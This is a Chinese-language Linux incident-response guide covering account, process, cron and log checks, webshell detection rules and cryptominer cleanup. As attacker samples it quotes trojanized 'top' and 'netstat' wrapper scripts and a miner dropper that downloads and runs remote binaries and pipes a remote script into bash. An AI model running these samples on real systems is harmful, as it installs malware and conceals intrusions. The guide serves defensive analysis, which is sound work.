Skip to content

Latest commit

 

History

History
682 lines (633 loc) · 38.2 KB

Linux-应急响应.md

File metadata and controls

682 lines (633 loc) · 38.2 KB

一. 账户安全

/etc/passwd
/etc/shadow
格式:
用户名:密码:用户ID:组ID:用户说明:家(home)目录:登陆之后shell
注意:无密码只允许本机登陆,远程不允许ssh登陆

用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留

其中 :::tips root:$6$KNodydj1e.cDKFds$YdpMlNRn19MIpho5uE1lEr0tKB0OZqGQfJDZf4p/fCMQIZOBbJRco70ojbUYbY4r1fYyLXa0V8ZWYbxGvMTr71::0:99999:7::: ::: root=用户名
6=sha512加密(1 代表 MD5,2y、2a代表Blowfish,5 代表 SHA-256,6 代表 SHA-512)
KNodydj1e.cDKFds=盐
YdpMlNRn19MIpho5uE1lEr0tKB0OZqGQfJDZf4p/fCMQIZOBbJRco70ojbUYbY4r1fYyLXa0V8ZWYbxGvMTr71=加密过后的数据

1.1 查询特权账户 & 组

awk -F: '$3==0{print $1}' /etc/passwd
awk -F: '$4==0{print $1}' /etc/passwd

1.2 查询可远程登录账户及其它信息

awk '/\$1|\$6/{print $1}' /etc/shadow   #可以远程登录的账号
cat /etc/passwd | grep /bin/bash #查看哪些用户使用shell
cat /etc/passwd | grep x:0 #查看哪些用户为root权限
cat /etc/passwd | grep -v nologin #查看除了不可登录以外的用户都有哪些,有没有新增的
who #查看当前登录用户(tty 本地登陆   pts 远程登录)
w   #查看系统信息,想知道某一时刻用户的行为
uptime  #查看登陆多久、多少用户,负载
stat /etc/passwd #查看密码文件上一次修改的时间



1.3 查询 sudo 权限账户

more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

1.4 禁用or删除账户

usermod -L username #锁定
userdel username #删除

1.5 用户历史命令

cat /home/hack/.bash_history
history #root历史命令
root/.bash_profile

二. 异常端口进程服务文件

2.1 端口

netstat -atnlp

cat /proc/PID/exe | more
ls -l /proc/PID/exe
netstat -antlp | grep 异常IP | awk '{print $7}' | cut -f1 -d"/"


2.2 进程

ps aux | grep PIDnet
file /proc/PID/exe
/proc/7252/exe: symbolic link to '/usr/bin/php'
ps aux --sort=pcpu | head -10     #查看cpu占用率前十的进程
ps  -ef  --sort  -pcpu  #按CPU 使用率从高到底排序
ps -ef --sort -pmem  #按内存从高到低


2.3 使用 lsof分析进程


将样本输出,在情报网络上查询该样本 :::tips cat /proc/$PID/exe > /tmp/t.bin :::

使用 ps 查看启动 时间并 杀掉危险进程

ps -p 7224 -o lstart
kill -9 7224

2.4 服务

chkconfig #查看开机启动项目
chkconfig   --list #查看服务自启状态
systemctl list-unit-files |grep enabled #ubuntu,centos及使用 systemctl 控制的系统

image.png

2.5 文件

很多时候会遇到无法常看文件权限或是病毒在一直向某个文件写入程序,可尝试如下命令:
lsattr 文件 查看权限
chattr -i 文件 接触文件后删除

被篡改的系统工具,被赋予了特殊权限ia,i:不能修改,保存设置其它链接关系,a:只能添加数据,不能删除。

chattr -ia 删除该文件特殊ia权限

image.png

stat查看文件修改创建等信息

image.png

攻击者可能会篡改系统自带的工具,将工具输出重定向,导致我们不能看到想看到的信息

比如:

#!/bin/sh
if [ "`whoami`" == "root"  ] ;then
sh -c "execute > /dev/null 2>&1 &"
fi
/usr/sbin/top
sh -c "flush > /dev/null 2>&1 &"
#!/bin/sh
isi="$1 $2 $3 $4 $5 $6 $7 $8 $9"; [ -z "$isi" ] && /usr/bin/power || /usr/bin/power $isi
if [ "`whoami`" != "root"  ] ;then
exit 0
fi
if test -r /bin/mouse; then
pid=$(cat /bin/mouse)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
sh -c "/bin/crond > /dev/null 2>&1 &"
sh -c "chmod 755 /bin/mouse > /dev/null 2>&1 &"
#!/bin/sh
if [ "`whoami`" == "root"  ] ;then
sh -c "chattr -ia /tmp > /dev/null 2>&1 &"
sh -c "chmod 777 /tmp > /dev/null 2>&1 &"
fi
isi="$1 $2 $3 $4 $5 $6 $7 $8 $9"; [ -z "$isi" ] && /usr/bin/netstatz || /usr/bin/netstatz $isi > /tmp/`whoami`.net
cat /tmp/`whoami`.net |grep --invert-match :20 |grep --invert-match :43 |grep --invert-match send |grep --invert-match dhcl |grep --invert-match sendmail:
rm -f /tmp/`whoami`.net

被恶意修改后的系统工具向外发出外联
image.png

恶意sshkey文件,配合计划任务做权限维持

image.png

find

find / -ctime 0 -name "*.sh"  #-n指n天以内

2.6 其它

host 文件
/etc/hosts
find 命令
md5sum 命令
grep 命令
diff 命令
很多情况下,存在ps、netstat等一些常见命令被替换,可利用stat查看该状态,查看其修改时间
stat /bin/netstat

在找攻击链时,会找到类似这种脚本,这种脚本就是挖矿病毒下载的脚本

killall -9 dos64
killall -9 dos32
killall -9 dos24
killall -9 dos26
killall -9 tfq
killall -9 xmrig
rm -rf cd /tmp/dos64
rm -rf cd /tmp/dos32
rm -rf cd /tmp/dos24
rm -rf cd /tmp/dos26
rm -rf cd /tmp/tfq
if [ ! -w "/tmp/dos64" ]; then
cd /tmp;wget https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/dos64;chmod 777 dos64;./dos64
fi

if [ ! -w "/tmp/dos32" ]; then
cd /tmp;wget https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/dos32;chmod 777 dos32;./dos32
fi

if [ ! -w "/tmp/dos24" ]; then
cd /tmp;wget https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/dos24;chmod 777 dos24;./dos24
fi

if [ ! -w "/tmp/dos26" ]; then
cd /tmp;wget https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/dos26;chmod 777 dos26;./dos26
fi

if [ ! -w "/tmp/tfq" ]; then
cd /tmp;wget https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/tfq;chmod 777 tfq;./tfq
fi

if [ ! -w "/root/c3pool/xmrig" ]; then
curl -s -L https://ghproxy.com/https://raw.githubusercontent.com/Tremblae/Tremble/main/ba.sh | bash -s
fi
rm -rf cd /tmp/dos64
rm -rf cd /tmp/dos32
rm -rf cd /tmp/dos24
rm -rf cd /tmp/dos26
rm -rf cd /tmp/tfq
sleep 88;rm -rf cd /root/c3poolb

三. 启动项与定时任务

系统运行级别:

l  0 所有进程将被终止,机器将有序的停止,关机时系统处于这个运行级别
l  1 单用户模式。用于系统维护,只有少数进程运行,同时所有服务也不启动
l  2多用户模式。和运行级别3一样,只是网络文件系统(NFS)服务没被启动
l  3多用户模式。允许多用户登录系统,是系统默认的启动级别
l  4留给用户自定义的运行级别
l  5多用户模式,并且在系统启动后运行X-Window,给出一个图形化的登录窗口
l  6所有进程被终止,系统重新启动

默认 级别 /etc/inittab

3.1 开机启动文件

/etc/rc.local
/etc/rc.d/rc[0~6].d
/etc/rc.d/rc3.d/

排查环境变量

3.2 定时任务

计划任务文件

/var/spool/cron/* #centos
/var/spool/cron/crontabs/* #ubuntu的
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab #异步定时
/var/spool/anacron/*

/etc/cron.daily/*   查看目录下所有文件

crontab   -l #查看定时任务
crontab –e #编辑定时任务
crontab -u root –l   #查看root用户任务计划
ls /var/spoocl/cron/   #查看每个用户自己的执行计划
sed '/gcc.sh/d' /etc/crontab && chmod 0000 /etc/crontab && chattr +i /etc/crontab   #删除计划任务且控制计划任务不能写东西,慎用。

恶意的计划任务

image.png

3.3 日志

系统常见的日志目录

文件名 说明
cron 记录系统定时任务相关
dmesg 记录了系统在开机时内核自检的信息
btmp 记录二进制错误登录日志,使用lastb查看
lastlog 记录二进制系统中所有用户最后一次登录时间的日志
secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,telnet,ftp等服务登录信息
message 记录系统启动后的信息和错误日志
wtmp 登录进入,退出,数据交换、关机和重启纪录

Ubuntu:/var/log/auth.log
Centos:/var/log/secure

默认日志位置:/var/log/
/var/log/auth.log包含系统授权信息,包括用户登录和使用的权限机制等信息
/var/log/lastlog记录登录的用户,可以使用命令lastlog查看
/var/log/secure记录大多数应用输入的账号与密码,登录成功与否
日志一般信息量巨大,根据自己的环境索引相关的有效的 信息
/var/log/cron记录crontab命令是否被正确的执行
/var/log/message 系统整体信息

ubuntu

判断爆破

判断是否被爆破,如果在相近时间出现大量Failed password,说明被爆破

cat /var/log/auth.log | grep "Failed password for root"

image.png
记录登陆的用户

cat /var/log/auth.log | grep "Accept"

计算登录失败的用户名及次数

cat /var/log/auth.log | grep "Failed password" | perl -e 'while($_=<>){ /for(.*?)from/; print "$1\n";}'|sort|uniq -c|sort -nr

image.png
统计爆破者ip及次数

cat /var/log/auth.log | grep "Failed password for" | grep "root" | grep -Po '(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|[1-9])(\.(1\d{2}|2[0-4]\d|25[0-5]|[1-9]\d|\d)){3}' |sort|uniq -c|sort -nr

centos

定位有多少IP在爆破主机的root帐号

grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

WEB日志

WEB日志中的敏感特征

文件内容中的恶意函数

PHP:eval(、system(、assert(
JSP:getRunTime(、 FileOutputStream(
ASP:eval(、execute(、 ExecuteGlobal(

webshell特征

Darkblade:goaction=login
JspSpy:o=login
PhpSpy:action=phpinfo
Regeorg:cmd=connect
Other:cmd=

3.4 自动化辅助工具

https://github.com/grayddq/GScan
https://github.com/ppabc/security_check
https://github.com/T0xst/linux
https://github.com/P4ck/Emergency
https://github.com/al0ne/LinuxCheck

#! /bin/bash
# linux-info v0.1
echo "-------------------------机器名-------------------------"
hostname
echo "-------------------------查看用户信息-------------------------"
cat /etc/passwd |grep -v nologin |grep -v /bin/false
echo "-------------------------查看登录信息-------------------------"
w
echo "-------------------------查看正在连接的IP-------------------------"
netstat -antlp |grep ESTABLISHED
echo "-------------------------查看对外监听的端口-------------------------"
netstat -antlp |grep LISTEN | grep -v 127.0.0.1
echo "-------------------------查看历史登录信息-------------------------"
last -F -n 10
echo "-------------------------查看安全日志中登录成功信息-------------------------"
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
echo "-------------------------查看历史命令,查找外联-------------------------"
history | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
echo "-------------------------查看计划任务-------------------------"
crontab -l
echo "-------------------------查找隐藏文件-------------------------"
find / ! -path "/proc/*" ! -path "/usr/*" ! -path "/var/*" ! -path "/sys/*" -name ".*" -print
echo "-------------------------其他·提示-------------------------"
echo "查看用户进程:lsof -u hack"
echo "查看端口占用:lsof -i:8888"
echo "查看公钥信息:~/.ssh/id_dsa.pub"
echo "查看进程:ps -aux"

3.5 勒索病毒引擎

深信服
https://edr.sangfor.com.cn/#/information/ransom_search
360
https://lesuobingdu.360.cn/
奇安信
https://lesuobingdu.qianxin.com/
腾讯
https://guanjia.qq.com/pr/ls/
VenusEye
https://lesuo.venuseye.com.cn/

3.6 反勒索病毒工具

腾讯
https://habo.qq.com/tool/index
金山毒霸
https://www.duba.net/dbt/wannacry.html
瑞星
http://it.rising.com.cn/fanglesuo/index.html
Avast
https://www.avast.com/zh-cn/ransomware-decryption-tools
Github tools
https://github.com/jiansiting/Decryption-Tools

3.7 溯源分析脚本

1、非工作时间段是否有登录行为
2、当日是否有新建/登录失败纪录
3、指定监控目录是否有webshell文件
4、查看是否有新建非法用户
5、查看是否有外联异常端口
6、检测access日志,分析当天攻击行为

#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import sys
import re
TRUST_USER = ['root','piaox']
TRUST_IP =['10.0.211.71']
FILE_PATH=['/var/www/html','/tmp','/var/tmp','/home']
FILE_LIST =[]
ACCESS_LOG = '/var/log/httpd/access_log'
php_Features_list = [
'(\$_(?:GET|POST|REQUEST)\[.*?](\s|\n)*\((\s|\n)*\$_(?:GET|POST|REQUEST)\[.*?\](\s|\n)*\))',
'(?:base64_decode)\([\'"][\w\+/=]{200,}[\'"]\)',
'function\_exists\s*\(\s*[\'"](popen|exec|proc\_open|system|passthru)+[\'"]\s*\)',
'@?(eval\_?r?|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[?(.*)\]?\s*\)',
'eval\s*\(\s*\(\s*\$\$(\w+)',
'(\$[\w_]{0,15}(\s|\n)*\((\s|\n)*\$_(?:POST|GET|REQUEST)\[.*?\](\s|\n)*\))',
'(ReDuh|silic)',
'(?:call_user_func)(\s|\n)*\(.{0,15}\$_(?:GET|POST|REQUEST)',
'(?:wscript)\.(?:shell)',
'(?:cmd)\.(?:exe)',
'(?:shell)\.(?:application)',
'(?:documents)\s+(?:and)\s+(?:settings)',
'(?:system32)',
'(?:serv\-u)',
'(?:phpspy)',
'(?:webshell)',
'(?:Program)\s+(?:Files)',
'(?:include|require)(?:_once)?\s*["\']?\(?\s*\$?\w+["\']?\)?\s*\;?',
'ec38fe2a8497e0a8d6d349b3533038cb|88f078ec861a3e4baeb858e1b4308ef0|7Zt/TBNnGMfflrqBFnaes|\\x50\\x4b\\x05\\x06\\x00\\x00\\x00\\x00|9c3a9720372fdfac053882f578e65846|silic1234',
'((udp|tcp)\://(.*)\;)+',
'preg\_replace\s*\((.*)/e(.*)\,\s*\$\_\[?(.*)\]?\,(.*)\)',
'preg\_replace\s*\((.*)\(base64\_decode\(\$',
'.*?\$\_\w+.*?@?preg_replace\(("|\').*?/e("|\'),.*?,.*?\)',
'(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*(base64\_decode|str\_rot13|gz(\w+)|file\_(\w+)\_contents|(.*)php\://input)+',
'(include|require|include\_once|require\_once)+\s*\(\s*[\'"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'"]\s*\)',
'\$\_(\w+)\s*=?\s*(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\)',
'\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)',
'(fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)',
'(fopen|fwrite|fputs|file\_put\_contents)+\s*\(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)',
'echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)',
'new com\s*\(\s*[\'"]shell(.*)[\'"]\s*\)',
'\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)',
'\$\_\=(.*)\$\_',
'\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)',
'\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)',
'\$(\w+)\s*\(\s*\$\{(.*)\}',
'\$(\w+)\s*\(\s*chr\(\d+\)',
'\$\w*\s*\=\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)\[.*?\]\;\s*include\s+\(\s*\$(.*?)\s*\)\;',
'\$\w+\s*\=\s*\$\_\w+\[.*?\]\;\s*@eval\(.*?\)',
'\$\w+\s*\=\s*base64_decode\(\$\_\w+\[(.*?)\]\);\s*@eval\(.*?\)',
'\$\_\w+\[.*?\]\s*\(\s*\$\_\w+\[.*?\]\s*\)\;',
'\(\$\_\=@\$\_\w+\[.*?\]\s*\)\.@\$\_\(\$\_\w+\[.*?\]\s*\)',
'\$\_\w+\[.*?\]\s*\(\s*\$\_\w+\[.*?\]\s*,\$\_\w+\[.*?\]\)',
'\$\{\'\_\'.\$\_}\[\'\_\'\]\(\$\{\'\_\'.\$\_\}\[\'\_\_\'\]\)\;',
'\_\_angel\_1111111111\_eof\_\_',
'xx.php\?pwd=e',
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067',
'Changed by pnkoo.cn|Jakub Vrana|blackbap.org|Code By isosky|16jTwyAtIHBocCZNeVNRTMr9vt2/4rG4t925pL7fIC0g']
asp_Features_list = [
'(?:eval|execute)(\s|\n)*(?:request)(\s|\n)*\((\s|\n)*(.*?)(\s|\n)*\)',
'(?:eval)(\s|\n)*\((\s|\n)*(?:Request)(\s|\n)*\.(\s|\n)*(?:Item)(\s|\n)*\[(\s|\n)*(.*?)(\s|\n)*\]',
'(?:ExecuteStatement)\(.*?request',
'FromBase64String\("UmVxdWVzdC5JdGVtWyJ6Il0="\)',
'tseuqer\s*lave.*',
'Request.form(.*)eval(.*)',
'<SCRIPT\s*RUNAT=SERVER\s*LANGUAGE=JAVASCRIPT>(.*)eval',
'reDuh(.*)',
'PublicKeyToken\=B03F5F7F11D50A3A',
'20132165414621325641311254123112512',
'#@~\^oHMBAA==@#@&@#@&"\+kwW',
'(Client/Login\.xml\?Command=Login&Sync=1227081437828)|(因为serv-u的userid变化我搞不懂)',
'aspmuma|(免杀去后门版\s*by\s*UnKnown)',
'芝麻开门|F4ck|1c1f81a8b0a630f530f52fa9aa9dda1b|法客论坛|F4ckTeam',
'silicname|silicpass|命令行执行',
'server.mappath\("go.asp"\)',
'MSSQL语句执行工具',
'gif89a(\s|\n)*<%@?',
'UJ@!z\(G9X@\*@!z4Y:\^@\*ryglpAA==\^#~@',
'clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8',
'WebSniff(.*?)Powered\s*by',
'11\.asp',
'mssql导库|闪电小子|\_tysan|MYSQL Manager',
'#@~\^bGsBAA==@#@&AC13`DV{J@!8D@\*@!8D@\*@!\^n']
jsp_Features_list = [
'reDuh',
'没有权限执行该操作',
'(chopper|QQ\(cs,z1,z2,sb\)|caicaihk|Alanwalker|(by\s*n1nty)|(Code\s*By\s*Ninty)|JspSpyPwd|JspSpy|6625108|(charles\s*QQ\s*77707777))',
'((21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500)|(192.168.230.1\s*4444))',
'1decc1ce886d1b2f9f91ecb39967832d05f8e8b8',
'JFolder\.jsp|Steven\s*Cee|JFileMan\.jsp|hack520\s*by|mailto\:hack520@77169\.org|by\s*Bagheera|luoluonet|Recoding\s*by\s*Juliet|lovehacker|webshell\.jsp|Hacker|jsp\s*File\s*Browser|jshell|ceshi2009']
other_Features_list = ['System32\\cmd\.exe|cmd|CFM\s*shell',
'俺的门门',
'Gamma Web Shell']
attack__Features_list = {"\.\./":"目录穿越攻击",
"select.+(from|limit)":"SQL注入攻击",
"(?:(union(.*?)select))":"SQL注入攻击",
"having|rongjitest":"SQL注入攻击",
"sleep\((\s*)(\d*)(\s*)\)":"SQL注入攻击",
"benchmark\((.*)\,(.*)\)":"SQL注入攻击",
"base64_decode\(":"SQL注入攻击",
"(?:from\W+information_schema\W)":"SQL注入攻击",
"(?:(?:current_)user|database|schema|connection_id)\s*\(":"SQL注入攻击",
"(?:etc\/\W*passwd)":"敏感文件操作",
"into(\s+)+(?:dump|out)file\s*":"SQL注入攻击",
"group\s+by.+\(":"SQL注入攻击",
"xwork.MethodAccessor":"命令注入攻击",
"xwork\.MethodAccessor":"命令注入攻击",
"(gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\/":"敏感文件操作",
"\<(iframe|script|body|img|layer|div|meta|style|base|object|input)":"XSS跨站脚本",
"(alert|confirm|prompt)":"XSS跨站脚本",
"(onmouseover|onerror|onload)\=":"XSS跨站脚本",
"java\.lang":"命令注入攻击",
"\.(svn|htaccess|bash_history)":"敏感文件访问",
"\.(bak|inc|old|mdb|sql|backup|java|class)$":"敏感文件访问",
"(vhost|bbs|host|wwwroot|www|site|root|hytop|flashfxp).*\.rar":"敏感文件访问",
"(phpmyadmin|jmx-console|jmxinvokerservlet)":"管理控制台探测行为",
"/(attachments|upimg|images|css|uploadfiles|html|uploads|templets|static|template|data|inc|forumdata|upload|includes|cache|avatar)/(\\w+).(php|jsp)":"敏感文件访问",
"(HTTrack|harvest|audit|dirbuster|pangolin|nmap|sqln|-scan|hydra|Parser|libwww|BBBike|sqlmap|w3af|owasp|Nikto|fimap|havij|PycURL|zmeu|BabyKrokodil|netsparker|httperf|bench| SF/)":"Web扫描器扫描"
}
def Un_worktime_login(localday):
if os.popen("last |grep -v 'reboot' |grep " + "'" + localday.strip() + "'" + "|awk '($7>=\"12:00\" && $7<=\"14:00\") || ($7>=\"00:00\" && $7<=\"06:00\")'").readlines():
print '[+] Un_worktime_login ------------------------------------ [ DONE ]'
for bb in os.popen("last |grep -v 'reboot' |grep " + "'" + localday.strip() + "'" + "|awk '($7>=\"12:00\" && $7<=\"14:00\") || ($7>=\"00:00\" && $7<=\"06:00\")'").readlines():
print bb.strip()
return True
else:
return False
def Faild_user(localday):
print '\n[+] Faild_user ------------------------------------ [ DONE ]'
os.system("egrep '(new user: name=)|(Failed password for)' /var/log/secure*|grep " + "'" + localday + "'")
def Un_trust_user():
all_user = os.popen("grep '/bin/bash' /etc/passwd | awk -F ':' '{print $1}'").readlines()
print '\n[+] Un_trust_user ------------------------------------ [ DONE ]'
for l in all_user:
if l.strip() not in TRUST_USER:
os.system("grep "+l.strip()+" /etc/passwd")
def Dubious_netstat():
print '\n[+] Dubious_netstat ------------------------------------ [ DONE ]'
for ip in TRUST_IP:
os.system("netstat -antp|egrep -v ':::*' |egrep 'ESTABLISHED|LISTEN'|awk '$5 !~ /"+ip.strip()+"/' | awk '$5 ~/:(21|22|443|80|8080|7001|8443|9080)$/{print}'")
def Dubious_files(filepath):
for f in os.listdir(filepath):
path = os.path.join(filepath, f)
if os.path.isfile(path):
FILE_LIST.append(path)
if os.path.isdir(path):
Dubious_files(path)
def Webshell_detect(filename,rulename):
f1 = open(filename).read()
for rule in rulename:
result = re.compile(rule).findall(f1)
if result:
print "============================================"
print 'Risk file:' + filename
print 'Risk code:' + str(result[0])
os.system("stat " +str(filename)+ " |grep 'Modify'")
def Attack_analysis():
f2 = open(ACCESS_LOG).readlines()
print "\n[+] Attack_analysis ------------------------------------ [ DONE ]"
for line in f2:
for r in attack__Features_list:
result = re.compile(r).findall(line)
if result:
print '匹配特征:' + '[' + str(result[0]) + ']' + '===>' + line.strip()
print '攻击类型:' + '[' + attack__Features_list[r] + ']'
if __name__=='__main__':
localday = os.popen("env LANG=en_US.UTF-8 date |awk '{print $2,$3}'").readline().strip()
Un_worktime_login(localday)
Faild_user(localday)
Un_trust_user()
Dubious_netstat()
for file in FILE_PATH:
Dubious_files(file.strip())
print '\n[+] Webshell_detect ------------------------------------ [ DONE ]'
for f in FILE_LIST:
if str(f).lower().endswith(".php"):
Webshell_detect(f, php_Features_list)
elif str(f).lower().endswith(".jsp"):
Webshell_detect(f, jsp_Features_list)
elif str(f).lower().endswith(".aspx"):
Webshell_detect(f, asp_Features_list)
Attack_analysis()

四. 挖矿木马

攻击流程

特征

4.1 阻断通信

iptables -L -n
vim /etc/sysconfig/iptables
iptables -A INPUT -s 可疑地址 -j DROP
iptables -A OUTPUT -d 可疑地址 -j DROP

4.2 计划任务检查

crontab -l

查看系统特定用户的计划任务:

crontab -u username -l


查看其他计划任务文件:

cat /etc/crontab
cat /var/spool/cron
cat /etc/anacrontab
cat /etc/cron.d/
cat /etc/cron.daily/
cat /etc/cron.hourly/
cat /etc/cron.weekly/
cat /etc/cron.monthly/
cat /var/spool/cron/

4.3 启动项

CentOS7以下版本:

chkconfig –list
chkconfig 服务名 off

CentOS7及以上版本:

systemctl list-unit-files
systemctl disable 服务名
/usr/lib/systemd/system
/usr/lib/systemd/system/multi-user.target.wants
/etc/rc.local
/etc/inittab
/etc/rc0.d/
/etc/rc1.d/
/etc/rc2.d/
/etc/rc3.d/
/etc/rc4.d/
/etc/rc5.d/
/etc/rc6.d/
/etc/rc.d/

4.4 判断可疑进程

(1)执行ls -al /proc/$PID/exe确认可疑进程对应的文件;
(2)若文件未被删除,则直接上传文件到Virustotal进行检测,或者计算出文件对应的md5,使用md5去Virustotal进行查询;若文件已被删除,可执行cat /proc/$PID/exe > /tmp/t.bin将进程dump到特定目录,再上传文件到Virustotal或者计算dump文件对应的md5到Virustotal进行查询。如果有多款杀毒引擎同时检出,那基本可以判定该进程为恶意进程。

4.5 top源文件被篡改

rm -rf /usr/bin/top && mv /usr/bin/top.original /usr/bin/top

五. 处置办法

给出相应解决办法

  • 拒绝所有到服务器的22端口访问。
  • 拒绝所有服务器对外部访问。
  • 删除以下文件。

/.warmup
/root/.warmup
/etc/cron.hourly/somescript
/etc/cron.hourly/.somescript
/etc/xtab/somescript
/etc/xtab/.somescript
/etc/init.d/warmup与modules
/etc/alternatives/.warmup下文件与ip.txt
......

  • 关闭以下服务。

systemctl stop xinetd
systemctl disable xinetd

  • 备份数据库中数据。
  • 格式化后重新安装操作系统。
  • 重新部署业务系统。(防止业务系统例如webapp被植入木马后门不能采用服务器上的文件备份)
  • 导入数据库备份。
  • 系统重新上线。

上线前做好安全基线检查

  • 禁止系统、应用业务、中间件弱口令
  • 禁止服务账号如:mongo用户登录操作系统
  • 关闭不必要的服务(端口)
  • 开展上线前漏洞扫描
  • 在系统自带iptables设置正确的控制策略,如难度较大至少边界防火墙设置策略。
  • 对外部的访问:

在边界防火墙上设置正确的访问策略,严格进制服务器对外:互联网和政务网的主动连接,如果必须请至少具体化源和目标地址。

  • 对外提供服务:

只开放业务端口到服务器集群(精确到目标地址和目标端口),如非必要对境外提供服务,请最好设置只允许国内IP地址范围访问业务(中国大陆IP范围和电子政务网IP范围à对外服务的目标服务器地址和业务目标端口)。